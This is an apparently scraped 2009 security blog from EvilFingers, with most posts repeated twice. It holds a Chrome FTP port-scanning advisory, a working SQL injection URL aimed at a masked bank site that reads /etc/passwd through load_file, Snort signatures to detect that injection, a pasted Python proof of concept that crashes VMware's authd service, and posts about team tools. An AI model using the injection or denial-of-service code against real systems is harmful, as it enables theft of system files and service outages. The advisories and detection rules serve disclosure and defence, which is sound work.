---------------------------------------------------
Advisory: Google Chrome FTP PASV IP Malicious Scanning Vulnerability.
Version Affected: Google Chrome: 1.0.154.36
Release Date:
Disclosed: 1 January 2009
Released: 4 January 2009
Description:
Google Chrome FTP Client is vulnerable to FTP PASV malicious port scanning vulnerability.The username in the FTP (ftp://username:password@domain.com) can be manipulated by tampering it with certain IP address with specification of port as (ftp://xxx.xxx.xxx.xxx-22:password@domain.com).The Google Chrome FTP client make connection to the rogue FTP server which uses PASV commands to scan network.Dynamic requests are issued to a rogue FTP server which accepts connection with different usernames as the IP address with specified ports to locate the non existing object on the target domain. JavaScript Port Scanning is used to exploit this issue. A malicious web page hosted on a specially-coded FTP server could use this feature to perform a generic port-scan of machines inside the firewall of the victim.The generated fraudulent request helps attacker to exhibit internal network information through sustainable port scanning through JavaScript.
Proof-of-Concept:
Click Here
Alternate Link: http://www.secniche.org/gcfpv/
Credit:
Aditya K Sood (Founder, www.Secniche.org / Team Lead, www.EvilFingers.com)
Disclaimer:
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There is no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for a ny implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages.
---------------------------------------------------
Sunday, January 4, 2009
SQLInjection for Bank
Credit for Exploit: Rohit Bansal
Exploit:
http://www.BankXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.com/news.asp?id=4+and+1=2+union+all+select+1,2,3,load_file
(0x2f6574632f706173737764),5,6,7--
Vulnerable Variable: id=
Vulnerable File Frame: /news.asp?
SQL: UNION SELECT
Countermeasure:
Use the above combination to ensure that your snort signature prevents the attack.
Example(s) on EmergingThreats Format:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id SELECT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id UNION SELECT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+UNION\s+SELECT/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id INSERT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+INSERT.+INTO/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id DELETE"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+DELETE.+FROM/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id ASCII"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+ASCII\(.+SELECT/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id UPDATE"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+UPDATE.+SET/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
Disclosure: EvilFingers neither guarantee's the exploit nor the signature.
Contact us at Contact.Fingers @ gmail.com for any further questions.
- EF
Exploit:
http://www.BankXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.com/news.asp?id=4+and+1=2+union+all+select+1,2,3,load_file
(0x2f6574632f706173737764),5,6,7--
Vulnerable Variable: id=
Vulnerable File Frame: /news.asp?
SQL: UNION SELECT
Countermeasure:
Use the above combination to ensure that your snort signature prevents the attack.
Example(s) on EmergingThreats Format:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id SELECT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id UNION SELECT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+UNION\s+SELECT/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id INSERT"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+INSERT.+INTO/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id DELETE"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+DELETE.+FROM/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id ASCII"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+ASCII\(.+SELECT/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE news.asp SQL Injection Attempt -- news.asp id UPDATE"; flow:established,to_server; uricontent:"/news.asp?"; nocase; uricontent:"id="; nocase; pcre:"/.+UPDATE.+SET/Ui"; classtype:web-application-attack; reference:cve,; reference:url,www.; sid:200XXXXX; rev:1;)
Disclosure: EvilFingers neither guarantee's the exploit nor the signature.
Contact us at Contact.Fingers @ gmail.com for any further questions.
- EF
Saturday, January 3, 2009
Vmware <= 2.5.1 build-126130 Remote Denial of Service
We just saw a POC for VMWare and it looks pretty cool...we thought of sharing it with our users.
Credits: laurent gaffié
Link: http://www.milw0rm.com/exploits/7647
********START OF PASTE**********
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vmware <= 2.5.1 build-126130 Remote Denial of Service
Application: Vmware
Web Site: http://www.vmware.com/
Platform: Windows *
Bug: Remote Denial of Service
Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
================
1) Introduction
================
"VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer.
Easily run Windows applications on your Mac, including high end games and other graphic applications,
with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."
=======
2) Bug
=======
Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
==================
3)Proof of concept
==================
Auth-dos.py :
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = '192.168.0.102'
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
s.close()
print " [+] done! "
=====
4)Credits
=====
laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com
# milw0rm.com [2009-01-02]
********END OF PASTE**********
Credits: laurent gaffié
Link: http://www.milw0rm.com/exploits/7647
********START OF PASTE**********
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vmware <= 2.5.1 build-126130 Remote Denial of Service
Application: Vmware
Web Site: http://www.vmware.com/
Platform: Windows *
Bug: Remote Denial of Service
Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
================
1) Introduction
================
"VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer.
Easily run Windows applications on your Mac, including high end games and other graphic applications,
with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."
=======
2) Bug
=======
Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
==================
3)Proof of concept
==================
Auth-dos.py :
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = '192.168.0.102'
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
s.close()
print " [+] done! "
=====
4)Credits
=====
laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com
# milw0rm.com [2009-01-02]
********END OF PASTE**********
Friday, January 2, 2009
71 Russian Publications released!!!
The beginning of 2009 has given us a good start so far. Thanks to all their our team member's hard work and contribution, we are in the path of attaining a stable community site.
Kris Kaspersky is releasing 71 Russian Articles for our viewers, for them to enjoy 2009 with some good reading. We now have a total of 507 Russian Publications so far and we are expecting some more to be releasing soon.
Do keep us posted if you have any questions or any other stuff. You can always contact us at Contact.fingers @ gmail.com [GMAIL Rocks!!!].
- EF
Kris Kaspersky is releasing 71 Russian Articles for our viewers, for them to enjoy 2009 with some good reading. We now have a total of 507 Russian Publications so far and we are expecting some more to be releasing soon.
Do keep us posted if you have any questions or any other stuff. You can always contact us at Contact.fingers @ gmail.com [GMAIL Rocks!!!].
- EF
Organizations & Governments, are welcome to contact us!!!
Happy New Year 2009!!!
EvilFingers is proud to extend its warm welcome to both Private Sector and Gov Sector to help us to help you in joining our unified notion of securing the information world.
Small and medium sized companies that cannot afford services from large securing organizations, large organizations that believe in true security research and other classifications are most welcome to contact us for any type of help, software, etc. We consider ourselves like the fireman. A fireman is paid salary by the Gov., but all his services to the people are unbelievable and great and it is all free. It is not about the money always, it is more about passion, dedication and commitment.
We are a team of such people who wishes to help our community. You could use all our tools, but if you let us know that your corp or gov is using our tools, we would list you as one of our happy users. If you are not happy with our tools, we would ensure that we could work something out to provide a solution just for you, and then you could enter our happy list of users.
Contact us for any further questions: contact.fingers @ gmail.com
- EF
EvilFingers is proud to extend its warm welcome to both Private Sector and Gov Sector to help us to help you in joining our unified notion of securing the information world.
Small and medium sized companies that cannot afford services from large securing organizations, large organizations that believe in true security research and other classifications are most welcome to contact us for any type of help, software, etc. We consider ourselves like the fireman. A fireman is paid salary by the Gov., but all his services to the people are unbelievable and great and it is all free. It is not about the money always, it is more about passion, dedication and commitment.
We are a team of such people who wishes to help our community. You could use all our tools, but if you let us know that your corp or gov is using our tools, we would list you as one of our happy users. If you are not happy with our tools, we would ensure that we could work something out to provide a solution just for you, and then you could enter our happy list of users.
Contact us for any further questions: contact.fingers @ gmail.com
- EF
Thursday, January 1, 2009
Process Memory Dumper v 1.4
PMDv1.4 is a very highly stable release. We got done with the testing and release of this tool. Following is how it looks when you run the EXE:
Do download the tool and contact us if you have any questions: contact.fingers @ gmail.com
- EF
Do download the tool and contact us if you have any questions: contact.fingers @ gmail.com
- EF
Happy 2K9!!!
The birth of 2k9[2009] has brought us a few good things.
(1) We are now media partners for uCon and they will be listing us under supporting organizations.
(2) Process Memory Dumper[PMD]v1.4 will be released in the next few hours with the following updates from v1.2. Also, this is the final version of Process Memory Dumper with all the features in it. Since the next version is more of a Monitoring tool, we would like to call it as SpyOS[since the functionality is to monitor the OS]. We will release more details about the product very soon.
Changelog for PMDv1.4 is as follows:
FileDate
ProcessTimings
uMode Timing/Running Time
kMode Timing/Kernel Time
FunctionLister
Comments
InternalName
LegalCopyright
LegalTrademarks
OriginalFilename
PrivateBuild
ProductVersion
VersionString
SpecialBuild
Credits: Kirk McGraw
Thanks to all your support for 2008, it has definitely been a great year for all of us. Let us all hope that 2009 would be a great year for all of us. Happy New Year 2009!!! to everyone, and best wishes from EvilFingers.
Email us for anything: contact.fingers @ gmail.com
- EF
(1) We are now media partners for uCon and they will be listing us under supporting organizations.
(2) Process Memory Dumper[PMD]v1.4 will be released in the next few hours with the following updates from v1.2. Also, this is the final version of Process Memory Dumper with all the features in it. Since the next version is more of a Monitoring tool, we would like to call it as SpyOS[since the functionality is to monitor the OS]. We will release more details about the product very soon.
Changelog for PMDv1.4 is as follows:
FileDate
ProcessTimings
uMode Timing/Running Time
kMode Timing/Kernel Time
FunctionLister
Comments
InternalName
LegalCopyright
LegalTrademarks
OriginalFilename
PrivateBuild
ProductVersion
VersionString
SpecialBuild
Credits: Kirk McGraw
Thanks to all your support for 2008, it has definitely been a great year for all of us. Let us all hope that 2009 would be a great year for all of us. Happy New Year 2009!!! to everyone, and best wishes from EvilFingers.
Email us for anything: contact.fingers @ gmail.com
- EF
Subscribe to:
Posts (Atom)
